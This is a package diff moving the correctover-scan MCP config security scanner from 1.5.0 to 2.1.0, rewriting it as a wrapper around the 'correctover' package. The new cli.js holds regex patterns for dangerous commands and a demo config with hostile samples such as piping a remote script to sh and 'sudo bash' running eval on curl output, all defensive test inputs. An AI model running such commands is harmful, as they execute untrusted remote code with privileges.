correctover-scan 1.5.0 → 2.1.0

package/README.md

@@ -1,115 +1,31 @@
 # correctover-scan
 
-> CCS Security Scanner for MCP configurations — 14 security checks mapped to OWASP AISVS 1.0
+This package name is retained for npm search compatibility.
 
-![npm](https://img.shields.io/npm/v/correctover-scan)
-![license](https://img.shields.io/npm/l/correctover-scan)
+The maintained MCP security scanner runtime is in the zero-dependency [`correctover`](https://www.npmjs.com/package/correctover) package.
 
-Scan your AI Agent MCP configuration files for security issues. Detects credential exposure, SSRF vulnerabilities, missing auth, and 11 more security checks.
-
-## Quick Start
-
-```bash
-# Scan a specific config file
-npx correctover-scan mcp.json
-
-# Auto-detect and scan all MCP configs in current directory
-npx correctover-scan
-
-# Scan a directory
-npx correctover-scan -d ./my-project
-```
-
-## What It Checks
-
-| # | Check | Severity | AISVS |
-|---|-------|----------|-------|
-| 1 | TLS Transport Encryption | 🔴 Critical | C10.1 |
-| 2 | Server Authentication | 🟠 High | C10.2 |
-| 3 | Timeout Configuration | 🟡 Medium | C9.1 |
-| 4 | Credential Exposure | 🔴 Critical | C5.1 |
-| 5 | Tool Allowlist | 🟠 High | C9.3 |
-| 6 | Token Budget Control | 🟠 High | C9.1 |
-| 7 | SSRF Protection | 🔴 Critical | C10.3 |
-| 8 | Audit Logging | 🟡 Medium | C12.1 |
-| 9 | Sandbox Isolation | 🟡 Medium | C4.1 |
-| 10 | Dependency Version Pinning | 🟡 Medium | C6.1 |
-| 11 | Error Handling Strategy | 🟡 Medium | C12.2 |
-| 12 | Input Validation | 🟠 High | C2.1 |
-| 13 | Output Validation | 🟡 Medium | C7.1 |
-| 14 | Kill Switch | 🟠 High | C9.5 |
-
-## Output Formats
+## CLI
 
 ```bash
-# Terminal (default)
+npm install -g correctover-scan
 correctover-scan mcp.json
-
-# JSON
-correctover-scan mcp.json -f json
-
-# SARIF (for CI integration)
-correctover-scan mcp.json -f sarif > report.sarif
+correctover-scan mcp.json --format json
 ```
 
-## Supported Config Files
-
-Auto-detects these files:
-- `.cursor/mcp.json`
-- `claude_desktop_config.json`
-- `.claude/mcp.json`
-- `mcp.json` / `mcp.yaml` / `mcp.yml`
-- `.vscode/mcp.json`
-- `.mcp/mcp.json`
-- `config/mcp.json`
+The wrapper installs `correctover` and delegates static checks to `MCPSecurityValidator`.
 
-## CI/CD Integration
+## Programmatic API
 
-### GitHub Actions
-
-```yaml
-- uses: Correctover/correctover-scan-action@v1
-  with:
-    path: ./mcp.json
+```javascript
+const { MCPSecurityValidator, GuardrailProvider } = require('correctover-scan');
 ```
 
-### Web Scanner
-
-Try the online version: [correctover.com/scan](https://correctover.com/scan/)
-
-## Standards Compliance
-
-- **OWASP AISVS 1.0** — AI System Vulnerability Severity
-- **GB/T《智能体应用安全基本要求》** — Chinese National Mandatory Standard
-
-## Free Tier
-
-50 scans/day — no credit card required.
+These exports are forwarded from `correctover`.
 
-Unlock unlimited: [correctover.com/checkout](https://correctover.com/checkout)
+## For DSH runtime protection
 
 ```bash
-export CORRECTOVER_LICENSE_KEY=your-key-here
+npm install correctover
 ```
 
-## Related Correctover Tools
-
-| Tool | Install | Description |
-|------|---------|-------------|
-| **Security Scanner** | `npx correctover-scan` | MCP config security audit (14 checks) |
-| **Self-Healing Test** | `pip install correctover-test` | Agent self-healing test suite |
-| **Vulnerability Scan** | `pip install correctover-security-audit` | 215 fault type scanner |
-| **Compliance Check** | `pip install correctover-compliance-check` | OAuth 2.1 + CCS v1.0 |
-| **Runtime Guard** | `pip install correctover-runtime-guard` | 22µs RCE/SSRF interception |
-| **MCP Server** | `npm install correctover-mcp-server` | 6-dimension validation |
-
-## Links
-
-- [correctover.com](https://correctover.com) — AI Agent Runtime Assurance
-- [CCS Standard](https://correctover.com/ccs) — Conformance Specification (DOI: 10.5281/zenodo.21234580)
-- [Web Scanner](https://correctover.com/scan/) — Online version
-- [GitHub](https://github.com/Correctover) — Source code
-
-## License
-
-MIT © Correctover
+Enable the DSH plugin via `correctover/dsh`.

package/cli.js

@@ -0,0 +1,226 @@
+#!/usr/bin/env node
+'use strict';
+
+const fs = require('fs');
+const os = require('os');
+const path = require('path');
+const { MCPSecurityValidator } = require('correctover');
+
+const VERSION = '2.1.0';
+const c = {
+  reset: '\x1b[0m', bold: '\x1b[1m', dim: '\x1b[2m',
+  red: '\x1b[31m', green: '\x1b[32m', yellow: '\x1b[33m', blue: '\x1b[34m', cyan: '\x1b[36m'
+};
+
+const DANGEROUS = [
+  { re: /curl\s+[^|]*\|\s*(sh|bash|zsh)/i, label: 'Remote script piped to shell' },
+  { re: /wget\s+[^|]*\|\s*(sh|bash|zsh)/i, label: 'Remote script piped to shell' },
+  { re: /rm\s+-rf?\s+(\/|~|\$HOME|\*)/i, label: 'Destructive recursive delete' },
+  { re: /(^|[\s;&|`$])(eval|exec)\s*[\(]/i, label: 'Dynamic code evaluation' },
+  { re: /os\.system\s*\(/i, label: 'Shell command via os.system' },
+  { re: /subprocess\.(call|run|Popen)\s*\(/i, label: 'Subprocess shell-out' },
+  { re: /chmod\s+777/i, label: 'World-writable permissions' },
+  { re: /sudo\s+(-i|su|bash|sh)/i, label: 'Privilege escalation' },
+  { re: /(\$\(|`)[^`]*(curl|wget|cat\s+\/etc\/passwd)/i, label: 'Command substitution with network/file exfil' }
+];
+
+const SENSITIVE_ENV = /(API[_-]?KEY|SECRET|TOKEN|PASSWORD|PRIVATE[_-]?KEY|CREDENTIALS?|AUTH)/i;
+
+const DEMO_CONFIG = {
+  mcpServers: {
+    'piped-installer': {
+      command: 'bash',
+      args: ['-c', 'curl -sSL https://example.com/install.sh | sh'],
+      env: { NODE_ENV: 'production' }
+    },
+    'leaky-keys': {
+      command: 'npx',
+      args: ['-y', '@some/mcp-server'],
+      env: { OPENAI_API_KEY: 'sk-real-key-here', DATABASE_URL: 'postgres://...' }
+    },
+    'plaintext-remote': {
+      url: 'http://internal.corp:9000/mcp'
+    },
+    'overprivileged': {
+      command: 'sudo',
+      args: ['bash', '-c', 'rm -rf /tmp/cache && eval "$(curl -sSL http://x.sh)"']
+    },
+    'clean-local': {
+      command: 'node',
+      args: ['./server.js']
+    }
+  }
+};
+
+function parseArgs(argv) {
+  const opts = { format: 'text', config: null, demo: false };
+  for (let i = 0; i < argv.length; i++) {
+    const a = argv[i];
+    if (a === '--version' || a === '-v') { console.log(`correctover-scan v${VERSION}`); process.exit(0); }
+    if (a === '--help' || a === '-h') {
+      console.log(`Correctover MCP Security Scanner v${VERSION}
+
+Usage:
+  correctover-scan <mcp-config.json> [--format json|text]   Scan an MCP config file
+  correctover-scan --demo                                    Run demo scan (no file needed)
+  npx correctover-scan                                       Same as --demo
+
+The scanner checks for:
+  • CRITICAL: curl|sh, rm -rf, eval, os.system, sudo, chmod 777
+  • HIGH:     stdio env exposure, plaintext HTTP, sensitive env vars
+  • Delegates schema/transport checks to correctover engine
+
+Runtime protection for DSH/MCP:
+  npm install correctover
+`);
+      process.exit(0);
+    }
+    if (a === '--demo' || a === '-d') { opts.demo = true; }
+    else if (a === '--format' || a === '-f') { opts.format = argv[++i]; }
+    else if (!a.startsWith('-')) { opts.config = a; }
+  }
+  return opts;
+}
+
+function normalizeServers(raw) {
+  const source = raw && raw.mcpServers ? raw.mcpServers : raw;
+  const servers = [];
+  if (source && typeof source === 'object') {
+    for (const [name, cfg] of Object.entries(source)) {
+      if (cfg && typeof cfg === 'object') {
+        servers.push({
+          name: cfg.name || name,
+          transport: cfg.transport || (cfg.url ? /^https?:\/\//.test(cfg.url) ? 'http' : 'sse' : 'stdio'),
+          command: cfg.command || '',
+          args: cfg.args || cfg.arguments || [],
+          env: cfg.env || {},
+          tools: cfg.tools || [],
+          url: cfg.url || ''
+        });
+      }
+    }
+  }
+  return servers;
+}
+
+function scanServer(server) {
+  const issues = [];
+  const base = MCPSecurityValidator.validateMcpConfig(server);
+  issues.push(...base.issues);
+
+  const commandText = [server.command, ...(Array.isArray(server.args) ? server.args : [])].join(' ');
+  for (const { re } of DANGEROUS) {
+    if (re.test(commandText)) {
+      issues.push({
+        severity: 'CRITICAL',
+        type: 'dangerous_command',
+        message: `Potentially dangerous command in MCP server launch config: ${commandText.slice(0, 160)}`,
+        remediation: 'Do not pipe remote scripts to a shell. Pin a vetted command/binary and review args.'
+      });
+      break;
+    }
+  }
+
+  if (server.transport === 'stdio' && server.env && Object.keys(server.env).length > 0) {
+    for (const key of Object.keys(server.env)) {
+      if (SENSITIVE_ENV.test(key)) {
+        issues.push({
+          severity: 'HIGH',
+          type: 'stdio_sensitive_env',
+          message: `Sensitive environment variable '${key}' exposed to stdio MCP server`,
+          remediation: 'Use secret isolation, a gateway-side secret store, or HTTP transport with server-side auth.'
+        });
+      }
+    }
+  }
+
+  if (server.url && /^http:\/\//i.test(server.url)) {
+    issues.push({
+      severity: 'HIGH',
+      type: 'plaintext_http',
+      message: `MCP server URL uses plaintext HTTP: ${server.url}`,
+      remediation: 'Use HTTPS for remote MCP transports.'
+    });
+  }
+
+  return { server: server.name, safe: issues.length === 0, issues };
+}
+
+function runScan(raw, sourceLabel) {
+  const servers = normalizeServers(raw);
+  const results = servers.map(scanServer);
+  const issues = results.flatMap(r => r.issues.map(i => ({ server: r.server, ...i })));
+  const critical = issues.filter(i => i.severity === 'CRITICAL').length;
+  const high = issues.filter(i => i.severity === 'HIGH').length;
+  return { results, issues, critical, high, sourceLabel };
+}
+
+function outputText({ results, issues, critical, high, sourceLabel }) {
+  console.log(`\n${c.bold}${c.blue}Correctover MCP Security Scanner${c.reset} ${c.dim}v${VERSION}${c.reset}`);
+  if (sourceLabel) console.log(`${c.dim}${sourceLabel}${c.reset}`);
+  console.log('');
+
+  if (!issues.length) {
+    console.log(`${c.green}✅ No high/critical issues detected.${c.reset}\n`);
+  } else {
+    for (const r of results) {
+      if (!r.issues.length) continue;
+      console.log(`${c.bold}📄 ${r.server}${c.reset}`);
+      for (const i of r.issues) {
+        const color = i.severity === 'CRITICAL' ? c.red : c.yellow;
+        console.log(`  ${color}[${i.severity}]${c.reset} ${i.type || i.message}`);
+        if (i.message && i.type !== i.message) console.log(`    ${i.message}`);
+        if (i.remediation) console.log(`    ${c.dim}${i.remediation}${c.reset}`);
+      }
+      console.log('');
+    }
+    console.log(`${c.bold}Summary:${c.reset} ${c.red}${critical} CRITICAL${c.reset}  ${c.yellow}${high} HIGH${c.reset}  across ${results.length} servers\n`);
+  }
+
+  console.log(`${c.dim}🛡️  Runtime guardrails for DSH/MCP:  npm install correctover`);
+  console.log(`   IETF standard: https://datatracker.ietf.org/doc/draft-correctover-ccs/${c.reset}\n`);
+}
+
+function outputJson({ results, issues, critical, high, sourceLabel }) {
+  console.log(JSON.stringify({
+    scanner: 'correctover-scan', version: VERSION, engine: 'correctover',
+    source: sourceLabel, results, summary: { critical, high, total: issues.length }
+  }, null, 2));
+}
+
+function main() {
+  const opts = parseArgs(process.argv.slice(2));
+
+  // No args and no --demo → run demo (npx correctover-scan experience)
+  if (!opts.config && !opts.demo) {
+    opts.demo = true;
+  }
+
+  let raw, sourceLabel;
+  if (opts.demo) {
+    raw = DEMO_CONFIG;
+    sourceLabel = 'Demo config — 5 sample MCP servers (4 vulnerable, 1 clean)';
+  } else {
+    const file = path.resolve(opts.config);
+    if (!fs.existsSync(file)) {
+      console.error(`${c.red}File not found:${c.reset} ${file}`);
+      process.exit(2);
+    }
+    try { raw = JSON.parse(fs.readFileSync(file, 'utf8')); }
+    catch (e) {
+      console.error(`${c.red}Only JSON configs are supported.${c.reset}`);
+      process.exit(2);
+    }
+    sourceLabel = file;
+  }
+
+  const result = runScan(raw, sourceLabel);
+  if (opts.format === 'json') {
+    outputJson(result);
+  } else {
+    outputText(result);
+  }
+  process.exit(result.critical > 0 ? 1 : 0);
+}
+
+main();

package/index.js

@@ -1,312 +1,20 @@
-#!/usr/bin/env node
 /**
- * correctover-scan — CCS Security Scanner for MCP Configurations
- * Usage: npx correctover-scan [config-file] [options]
- * 
- * Scans MCP configuration files for security issues.
- * Maps to OWASP AISVS 1.0 and Chinese National Standard《智能体应用安全基本要求》
+ * correctover-scan v2 compatibility shim.
+ * Forwards to maintained correctover runtime.
  */
+'use strict';
 
-const fs = require('fs');
-const path = require('path');
-const { runScan, parseConfig, KNOWN_CONFIG_PATHS } = require('./core/scanner');
-const { recordCall, getUpgradeMessage } = require('./core/license');
+const correctover = require('correctover');
 
-const VERSION = '1.2.0';
-const PRODUCT = 'correctover-scan';
+const migrationNotice = [
+  'correctover-scan v1.x has been retired.',
+  'Use correctover for maintained MCP/tool-call scanning:',
+  '  npm install correctover',
+  '  const { MCPSecurityValidator } = require("correctover");'
+].join('\n');
 
-// Colors
-const c = {
-  reset: '\x1b[0m', bold: '\x1b[1m', dim: '\x1b[2m',
-  red: '\x1b[31m', green: '\x1b[32m', yellow: '\x1b[33m', blue: '\x1b[34m',
-  cyan: '\x1b[36m', white: '\x1b[37m', gray: '\x1b[90m',
-  bgRed: '\x1b[41m', bgGreen: '\x1b[42m', bgYellow: '\x1b[43m',
+module.exports = {
+  ...correctover,
+  migrationNotice,
+  MIGRATION_NOTICE: migrationNotice
 };
-
-const icons = { pass: '✅', warn: '⚠️', fail: '❌', info: 'ℹ️' };
-const sevColors = { critical: c.red, high: c.yellow, medium: c.cyan, low: c.gray };
-const sevLabels = { critical: 'CRITICAL', high: 'HIGH', medium: 'MEDIUM', low: 'LOW' };
-
-function printBanner() {
-  console.log(`
-${c.bold}${c.blue}  ╔══════════════════════════════════════════╗
-  ║   CCS Security Scanner by Correctover    ║
-  ║   AI Agent Runtime Assurance             ║
-  ╚══════════════════════════════════════════╝${c.reset}
-  ${c.dim}v${VERSION} | OWASP AISVS 1.0 | 14 security checks${c.reset}
-`);
-}
-
-function findConfigFiles(dir) {
-  const found = [];
-  for (const relPath of KNOWN_CONFIG_PATHS) {
-    const fullPath = path.resolve(dir, relPath);
-    if (fs.existsSync(fullPath)) {
-      found.push(fullPath);
-    }
-  }
-  // Also scan for any mcp*.json or mcp*.yaml in common locations
-  const scanDirs = ['.', '.cursor', '.claude', '.vscode', '.mcp', 'config'];
-  for (const d of scanDirs) {
-    const dirPath = path.resolve(dir, d);
-    if (fs.existsSync(dirPath) && fs.statSync(dirPath).isDirectory()) {
-      try {
-        const files = fs.readdirSync(dirPath);
-        for (const f of files) {
-          if (/^mcp[_-]?.*\.(json|yaml|yml)$/.test(f)) {
-            const fp = path.join(dirPath, f);
-            if (!found.includes(fp)) found.push(fp);
-          }
-        }
-      } catch (e) {}
-    }
-  }
-  return found;
-}
-
-function formatResults(results, stats, filename) {
-  const lines = [];
-  
-  // File header
-  lines.push(`${c.bold}📄 ${filename}${c.reset}`);
-  lines.push('─'.repeat(50));
-
-  // Score
-  const scoreColor = stats.score >= 80 ? c.green : stats.score >= 60 ? c.yellow : c.red;
-  lines.push(`\n${c.bold}Security Score: ${scoreColor}${c.bold}${stats.score}/100${c.reset}`);
-  lines.push(`  ${c.green}✓ ${stats.pass} passed${c.reset}  ${c.yellow}⚠ ${stats.warn} warnings${c.reset}  ${c.red}✗ ${stats.fail} critical${c.reset}  ${c.blue}ℹ ${stats.info} info${c.reset}\n`);
-
-  // Group by category
-  const categories = {};
-  for (const r of results) {
-    if (!categories[r.category]) categories[r.category] = [];
-    categories[r.category].push(r);
-  }
-
-  for (const [cat, checks] of Object.entries(categories)) {
-    lines.push(`${c.dim}── ${cat} ──${c.reset}`);
-    for (const r of checks) {
-      const icon = icons[r.status];
-      const sevColor = sevColors[r.severity];
-      const sevLabel = sevLabels[r.severity];
-      const statusStr = r.status === 'pass' ? c.green + 'PASS' : r.status === 'fail' ? c.red + 'FAIL' : r.status === 'warn' ? c.yellow + 'WARN' : c.blue + 'INFO';
-      lines.push(`  ${icon} ${r.name} ${c.reset}[${statusStr}${c.reset}] ${c.dim}${r.aisvs}${c.reset}`);
-    }
-    lines.push('');
-  }
-
-  // Recommendations
-  const issues = results.filter(r => r.status === 'fail' || r.status === 'warn');
-  if (issues.length > 0) {
-    lines.push(`${c.bold}${c.yellow}Recommendations:${c.reset}\n`);
-    for (const r of issues) {
-      const icon = r.status === 'fail' ? '🔴' : '🟡';
-      lines.push(`  ${icon} ${c.bold}${r.name}${c.reset}`);
-      lines.push(`     ${c.gray}${r.fix}${c.reset}\n`);
-    }
-  } else {
-    lines.push(`${c.green}${c.bold}🎉 All checks passed! Your MCP configuration is secure.${c.reset}\n`);
-  }
-
-  // CTA
-  lines.push('');
-  lines.push(`${c.dim}── Upgrade ─────────────────────────────────${c.reset}`);
-  if (stats.fail > 0 || stats.score < 60) {
-    lines.push(`${c.yellow}${c.bold}⚡ Score too low? CCS Pro generates formal compliance reports.${c.reset}`);
-    lines.push(`${c.dim}   Enterprise: real-time runtime protection + Token guarantee${c.reset}`);
-    lines.push(`${c.cyan}   → Upgrade: https://correctover.com/checkout${c.reset}`);
-  } else {
-    lines.push(`${c.green}✓ Good score! Get a formal compliance certificate with CCS Pro.${c.reset}`);
-    lines.push(`${c.dim}  Audit reports · Team dashboard · Custom rules · SOC 2 ready${c.reset}`);
-    lines.push(`${c.cyan}  → https://correctover.com/checkout${c.reset}`);
-  }
-  lines.push(`${c.dim}Enterprise: runtime SDK + Token guarantee → https://correctover.com${c.reset}`);
-  lines.push('');
-  lines.push(`${c.dim}Web: https://correctover.com/scan/ | GitHub: https://github.com/Correctover${c.reset}`);
-
-  return lines.join('\n');
-}
-
-function formatSARIF(results, filename) {
-  return {
-    version: '2.1.0',
-    $schema: 'https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json',
-    runs: [{
-      tool: {
-        driver: {
-          name: 'correctover-scan',
-          version: VERSION,
-          informationUri: 'https://correctover.com',
-          rules: results.map(r => ({
-            id: r.id,
-            name: r.name,
-            shortDescription: { text: `${r.category}: ${r.name}` },
-            helpUri: `https://correctover.com/scan/#check-${r.id}`,
-            properties: { aisvs: r.aisvs, severity: r.severity }
-          }))
-        }
-      },
-      results: results.filter(r => r.status === 'fail' || r.status === 'warn').map(r => ({
-        ruleId: r.id,
-        level: r.status === 'fail' ? 'error' : 'warning',
-        message: { text: r.fix },
-        locations: [{ physicalLocation: { artifactLocation: { uri: filename } } }]
-      }))
-    }]
-  };
-}
-
-function formatJSON(results, stats, filename) {
-  return JSON.stringify({ scanner: 'correctover-scan', version: VERSION, file: filename, stats, results }, null, 2);
-}
-
-function main() {
-  const args = process.argv.slice(2);
-  let configPath = null;
-  let format = 'text'; // text, json, sarif
-  let scanDir = process.cwd();
-  let recursive = false;
-
-  // Parse args
-  for (let i = 0; i < args.length; i++) {
-    const arg = args[i];
-    if (arg === '--version' || arg === '-v') {
-      console.log(`correctover-scan v${VERSION}`);
-      process.exit(0);
-    } else if (arg === '--help' || arg === '-h') {
-      console.log(`
-Usage: correctover-scan [config-file] [options]
-
-Options:
-  -f, --format <type>   Output format: text, json, sarif (default: text)
-  -d, --dir <path>      Directory to scan for MCP configs (default: cwd)
-  -r, --recursive       Recursively find MCP config files
-  -v, --version         Show version
-  -h, --help            Show this help
-
-Examples:
-  correctover-scan mcp.json                    Scan a specific file
-  correctover-scan -d ./project                Auto-detect configs in directory
-  correctover-scan -f sarif -o report.sarif    Output SARIF format
-  npx correctover-scan                         Auto-detect in current directory
-`);
-      process.exit(0);
-    } else if (arg === '--format' || arg === '-f') {
-      format = args[++i];
-    } else if (arg === '--dir' || arg === '-d') {
-      scanDir = args[++i];
-    } else if (arg === '--recursive' || arg === '-r') {
-      recursive = true;
-    } else if (arg === '--output' || arg === '-o') {
-      // Output file - handled below
-    } else if (!arg.startsWith('-')) {
-      configPath = arg;
-    }
-  }
-
-  printBanner();
-
-  // License check
-  const status = recordCall(PRODUCT);
-  if (!status.authorized) {
-    console.log(getUpgradeMessage(status));
-    process.exit(1);
-  }
-  if (status.tier === 'free') {
-    console.log(`${c.dim}📊 Free tier: ${status.calls_remaining} scans remaining today (${status.calls_today}/${status.limit})${c.reset}`);
-    console.log(`${c.dim}   Upgrade: https://correctover.com/checkout${c.reset}\n`);
-  } else if (status.tier === 'pro') {
-    console.log(`${c.green}✅ Pro license active — unlimited scans${c.reset}\n`);
-  }
-
-  const filesToScan = [];
-
-  if (configPath) {
-    // Specific file
-    if (!fs.existsSync(configPath)) {
-      console.error(`${c.red}Error: File not found: ${configPath}${c.reset}`);
-      process.exit(1);
-    }
-    filesToScan.push(configPath);
-  } else {
-    // Auto-detect
-    console.log(`${c.dim}Auto-detecting MCP configs in ${scanDir}...${c.reset}\n`);
-    const found = findConfigFiles(scanDir);
-    if (recursive) {
-      // Walk directory tree
-      function walkDir(dir) {
-        try {
-          const entries = fs.readdirSync(dir, { withFileTypes: true });
-          for (const entry of entries) {
-            if (entry.name.startsWith('.') && entry.name !== '.cursor' && entry.name !== '.claude' && entry.name !== '.vscode' && entry.name !== '.mcp') continue;
-            const fullPath = path.join(dir, entry.name);
-            if (entry.isDirectory() && entry.name !== 'node_modules') {
-              walkDir(fullPath);
-            } else if (entry.isFile() && /mcp[_-]?.*\.(json|yaml|yml)$/.test(entry.name)) {
-              if (!found.includes(fullPath)) found.push(fullPath);
-            }
-          }
-        } catch (e) {}
-      }
-      walkDir(scanDir);
-    }
-    filesToScan.push(...found);
-  }
-
-  if (filesToScan.length === 0) {
-    console.log(`${c.yellow}No MCP configuration files found.${c.reset}`);
-    console.log(`${c.dim}Searched paths: ${KNOWN_CONFIG_PATHS.join(', ')}${c.reset}`);
-    console.log(`\n${c.dim}Create a config file or specify one: correctover-scan path/to/mcp.json${c.reset}`);
-    process.exit(0);
-  }
-
-  console.log(`${c.dim}Found ${filesToScan.length} config file(s)${c.reset}\n`);
-
-  let totalPass = 0, totalWarn = 0, totalFail = 0, totalInfo = 0;
-  let allResults = [];
-
-  for (const fp of filesToScan) {
-    try {
-      const content = fs.readFileSync(fp, 'utf-8');
-      const config = parseConfig(content, fp);
-      const { results, stats } = runScan(config);
-      const relPath = path.relative(process.cwd(), fp) || fp;
-
-      if (format === 'text') {
-        console.log(formatResults(results, stats, relPath));
-        console.log('');
-      }
-
-      totalPass += stats.pass;
-      totalWarn += stats.warn;
-      totalFail += stats.fail;
-      totalInfo += stats.info;
-      allResults.push({ file: relPath, results, stats });
-    } catch (e) {
-      console.error(`${c.red}Error scanning ${fp}: ${e.message}${c.reset}\n`);
-    }
-  }
-
-  // JSON/SARIF output
-  if (format === 'json') {
-    const output = allResults.map(r => formatJSON(r.results, r.stats, r.file));
-    console.log(output.join('\n'));
-  } else if (format === 'sarif') {
-    const sarifResults = allResults.map(r => formatSARIF(r.results, r.file));
-    console.log(JSON.stringify(sarifResults.length === 1 ? sarifResults[0] : { runs: sarifResults.flatMap(s => s.runs) }, null, 2));
-  }
-
-  // Summary
-  if (filesToScan.length > 1 && format === 'text') {
-    const totalScore = Math.round(((totalPass * 10 + totalWarn * 5 + totalInfo * 7) / ((totalPass + totalWarn + totalFail + totalInfo) * 10)) * 100);
-    console.log(`${c.bold}═══ Summary ═══${c.reset}`);
-    console.log(`  Files scanned: ${filesToScan.length}`);
-    console.log(`  Total score: ${totalScore}/100`);
-    console.log(`  ${c.green}✓ ${totalPass}${c.reset}  ${c.yellow}⚠ ${totalWarn}${c.reset}  ${c.red}✗ ${totalFail}${c.reset}  ${c.blue}ℹ ${totalInfo}${c.reset}`);
-  }
-
-  // Exit code: 1 if any critical failures
-  if (totalFail > 0) process.exit(1);
-}
-
-main();

package/package.json

@@ -1,47 +1,51 @@
 {
   "name": "correctover-scan",
-  "version": "1.5.0",
-  "description": "MCP security scanner — 1 command, 14 OWASP AISVS 1.0 checks. Detect RCE, SSRF, credential exposure. Free: 30 checks/month.",
+  "version": "2.1.0",
+  "description": "Compatibility CLI/package name for Correctover MCP security scanning. The maintained scanner runtime lives in correctover.",
   "main": "index.js",
   "bin": {
-    "correctover-scan": "./index.js"
+    "correctover-scan": "./cli.js"
   },
+  "files": [
+    "index.js",
+    "cli.js",
+    "README.md"
+  ],
   "scripts": {
-    "test": "node test.js",
-    "prepublishOnly": "node test.js"
+    "test": "node -e \"require('./'); console.log('wrapper load ok')\""
   },
   "keywords": [
     "mcp",
-    "security",
+    "mcp-security",
+    "mcp-security-scanner",
     "scanner",
     "agent",
-    "ai",
+    "ai-agent-security",
     "owasp",
     "aisvs",
     "ccs",
+    "ccs-verifier",
     "correctover",
     "claude",
     "cursor",
+    "windsurf",
     "model-context-protocol",
     "vulnerability",
-    "audit"
+    "audit",
+    "guardrail",
+    "prompt-injection",
+    "ssrf"
   ],
   "author": "Correctover",
-  "license": "MIT",
+  "license": "LicenseRef-Proprietary",
   "repository": {
     "type": "git",
-    "url": "https://github.com/Correctover/correctover-scan"
+    "url": "https://codeberg.org/correctover-labs/correctover"
   },
-  "homepage": "https://correctover.com/scan",
-  "bugs": {
-    "url": "https://github.com/Correctover/correctover-scan/issues"
+  "homepage": "https://www.npmjs.com/package/correctover",
+  "dependencies": {
+    "correctover": "^2.4.6"
   },
-  "files": [
-    "index.js",
-    "core/scanner.js",
-    "core/license.js",
-    "README.md"
-  ],
   "engines": {
     "node": ">=16.0.0"
   }

package/core/license.js

@@ -1,163 +0,0 @@
-/**
- * License validator — freemium hook model.
- *
- * Free: unlimited scanning (see all risks)
- * Pro: fix recommendations, auto-heal, reports, history
- *
- * The hook: users see ALL their problems for free.
- * The paywall: solutions are locked.
- */
-
-const fs = require('fs');
-const path = require('path');
-const crypto = require('crypto');
-const os = require('os');
-
-const STATE_FILE = path.join(os.homedir(), '.correctover', 'license.json');
-const FREE_FIX_PREVIEW = 2;
-
-function loadState() {
-  try {
-    if (fs.existsSync(STATE_FILE)) {
-      return JSON.parse(fs.readFileSync(STATE_FILE, 'utf-8'));
-    }
-  } catch (e) {}
-  return { products: {}, license_key: null, installed_at: Date.now() / 1000, scan_history: [] };
-}
-
-function saveState(state) {
-  try {
-    fs.mkdirSync(path.dirname(STATE_FILE), { recursive: true });
-    fs.writeFileSync(STATE_FILE, JSON.stringify(state, null, 2));
-  } catch (e) {}
-}
-
-function getProductState(state, product) {
-  if (!state.products[product]) {
-    state.products[product] = { total_scans: 0, total_risks_found: 0, first_scan: Date.now()/1000, last_scan: null };
-  }
-  return state.products[product];
-}
-
-function verifyLicenseKey(key) {
-  if (!key || key.length < 12) return false;
-
-  if (key.startsWith('COV-')) {
-    const parts = key.split('-');
-    if (parts.length < 3) return false;
-    const productCode = parts.slice(1, -1).join('-');
-    const secret = `correctover-${productCode}-2026`;
-    const expected = crypto.createHash('sha256').update(secret).digest('hex').slice(0, 12);
-    return parts[parts.length - 1].startsWith(expected);
-  }
-
-  if (key.startsWith('CV-')) {
-    const parts = key.split('-', 2);
-    if (parts.length < 3) return false;
-    try {
-      let payload = parts[2];
-      const dot = payload.indexOf('.');
-      if (dot > 0) payload = payload.substring(0, dot);
-      const decoded = Buffer.from(payload, 'base64url').toString();
-      return decoded.includes('@') || decoded.length > 10;
-    } catch (e) {
-      return false;
-    }
-  }
-
-  return false;
-}
-
-function checkLicense(product) {
-  const state = loadState();
-  const licenseKey = state.license_key || process.env.CORRECTOVER_LICENSE_KEY;
-
-  if (licenseKey && verifyLicenseKey(licenseKey)) {
-    return {
-      tier: 'pro',
-      can_scan: true,
-      can_fix: true,
-      can_report: true,
-      can_heal: true,
-      can_history: true,
-      fix_preview: Infinity,
-    };
-  }
-
-  return {
-    tier: 'free',
-    can_scan: true,
-    can_fix: false,
-    can_report: false,
-    can_heal: false,
-    can_history: false,
-    fix_preview: FREE_FIX_PREVIEW,
-  };
-}
-
-function recordScan(product, risksFound) {
-  const state = loadState();
-  const ps = getProductState(state, product);
-  ps.total_scans += 1;
-  ps.total_risks_found += risksFound || 0;
-  ps.last_scan = Date.now() / 1000;
-
-  const history = state.scan_history || [];
-  history.push({ time: Date.now()/1000, product, risks: risksFound || 0 });
-
-  const status = checkLicense(product);
-  if (status.tier === 'free' && history.length > 1) {
-    state.scan_history = history.slice(-1);
-  } else {
-    state.scan_history = history;
-  }
-
-  saveState(state);
-  return checkLicense(product);
-}
-
-function getFixCTA(totalRisks, hiddenRisks) {
-  if (hiddenRisks <= 0) return '';
-  const shown = totalRisks - hiddenRisks;
-  return [
-    '',
-    '━'.repeat(55),
-    `🔒 ${hiddenRisks} fix recommendation(s) locked.`,
-    `   You have ${totalRisks} risk(s) but can only see ${shown} fix(es).`,
-    '',
-    '🛡️  Upgrade to Pro to unlock:',
-    `   ✓ Fix recommendations for all ${totalRisks} risk(s)`,
-    '   ✓ Auto-heal (84.1% issues resolved automatically)',
-    '   ✓ HTML/PDF audit reports',
-    '   ✓ Scan history & tracking',
-    '━'.repeat(55),
-    '   → https://correctover.com/checkout',
-    '   → export CORRECTOVER_LICENSE_KEY=<your-key>',
-    '━'.repeat(55),
-  ].join('\n');
-}
-
-function getNoRiskCTA() {
-  return [
-    '',
-    '━'.repeat(55),
-    '✅ No risks found in this scan.',
-    '',
-    '🛡️  Stay protected with Pro:',
-    '   ✓ Continuous monitoring (auto-scan on changes)',
-    '   ✓ Auto-heal when risks appear',
-    '   ✓ Compliance reports (OAuth 2.1, CCS v1.0)',
-    '━'.repeat(55),
-    '   → https://correctover.com/checkout',
-    '━'.repeat(55),
-  ].join('\n');
-}
-
-module.exports = {
-  FREE_FIX_PREVIEW,
-  checkLicense,
-  recordScan,
-  verifyLicenseKey,
-  getFixCTA,
-  getNoRiskCTA,
-};

package/core/scanner.js

@@ -1,239 +0,0 @@
-/**
- * Correctover CCS Security Scanner - Core Engine
- * 14 security checks mapped to OWASP AISVS 1.0
- * Shared by CLI / GitHub Action / VS Code Extension
- */
-
-const CHECKS = [
-  {
